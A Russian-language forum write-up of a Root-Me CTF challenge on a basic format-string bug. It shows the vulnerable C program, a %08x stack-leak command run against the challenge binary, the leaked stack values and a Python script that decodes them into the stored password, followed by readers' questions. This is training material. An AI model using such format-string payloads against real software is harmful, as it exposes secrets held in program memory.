CTF Root-Me, App-System, ELF x86 - Format string bug basic 1

fuzzz

Green Team
03.02.2019
249
470
BIT
2
ELF x86 - Format string bug basic 1

Environment configuration :

PIEPosition Independent Executable
30275
RelRORead Only relocations
30275
NXNon-Executable Stack
30275
Heap execNon-Executable Heap
30275
ASLRAddress Space Layout Randomization
30275
SFSource Fortification
30275
SRCSource code access
30276

Source code :
C:
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
        FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
        char buffer[32];
        fgets(buffer, sizeof(buffer), secret);
        printf(argv[1]);
        fclose(secret);
        return 0;
}
Решение
Этот бинарь без харденинг защит, поэтому тут все просто. Уязвимость тут находится в printf(argv[1]); Так как не были указаны форматы вывода. Эта уязвимость форматной строки. Поэтому у нас есть примитивы как чтения из стека так и запись в память. Тут нам нужен примитив чтения, потому, как флаг находится в файле .passwd.

И мы сможем прочитать от туда данные используя спецификатор формата %x

Суть эксплуатации этой уязвимости заключаться в том, чтобы считать значения со стека. В стеке находится буфер, а в буфере содержимое файла .passwd


Выведем 128 байт из стека 32 * 4 = 128
Код:
./ch5 $(python -c 'print "%08x."*32')

%08х число после знака процента нужно чтобы отображать по 4 байта

Код:
FF|FF|FF|FF

30317


Скопируем полученные байты в блокнот.
Данный нам ELF бинарник 32 битный. Архитектура x86
Поэтому все полученные байты выданные нам из стека находятся в перевернутом виде - Little Endian.

Например
Код:
Если -> 00000020 тогда -> 20|00|00|00
Или вот еще пример
28293664 -> 64|36|29|28

Поэтому чтобы в ручную не переписывать каждую цепочку байтов. Воспользуемся питоном для автоматизации, перевернем все байты, а за одно и декодируем их...

decode_bytes.py
Python:
bytes = [ "00000020", "0804b160", "0804853d", "00000009",
          "bffffcce", "b7e1c4a9", "bffffba4", "b7fc4000",
          "b7fc4000", "0804b160", "39617044", "28293664",
          "6d617045", "bf000a64", "0804861b", "00000002",
          "bffffba4", "bffffbb0", "119eaa00", "bffffb10",
          "00000000", "00000000", "b7e04e81", "b7fc4000",
          "b7fc4000", "00000000", "b7e04e81", "00000002",
          "bffffba4", "bffffbb0", "bffffb34", "00000001" ]

bytes2 = []

for y in bytes:
    little_endian = y[6:] + y[4:-2] + y[2:-4] + y[0:-6]
    bytes2.append(little_endian)
   

for x in bytes2:
    print x.decode('hex'),

30318



После запуска на выходе мы получим такие данные и флаг ;)
 

B13

Заблокирован
01.01.2020
412
55
BIT
134
От куда взято число 128 байт?
От куда берется спецификатор формата %x?
 

B13

Заблокирован
01.01.2020
412
55
BIT
134
1) буфер 32 байта. адрес 4 байта. перемножаем = 128 байт
2) это фишка которая используется для атак на форматные строки.
так, по 128 байтам, вроде бы понял. А вот по второму вопросу не совсем. Почему взято число %x08 а не какой либо другое или же это так же зависит от количества байт?
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
так, по 128 байтам, вроде бы понял. А вот по второму вопросу не совсем. Почему взято число %x08 а не какой либо другое или же это так же зависит от количества байт?
первая ссылка в гугле
%08x означает, что каждое число должно быть напечатано шириной не менее 8 символов с заполнением всех недостающих цифр нулями, например, для '1' вывод будет 00000001

Потому что адрес состоит из 8 цифр 0x12345678. Это 4 байта. Система 32 битная. х86.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!